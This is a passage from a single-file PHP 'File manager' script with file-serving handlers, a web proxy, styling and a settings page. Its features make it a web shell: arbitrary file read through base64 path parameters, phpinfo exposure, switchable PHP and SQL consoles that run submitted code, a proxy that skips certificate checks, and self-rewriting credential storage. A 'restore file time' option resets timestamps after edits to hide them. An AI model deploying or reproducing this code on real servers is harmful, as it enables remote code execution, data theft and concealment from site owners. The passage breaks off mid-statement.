	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,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");

}


.file {

                        background-image: url("data:image/png;base64,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");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

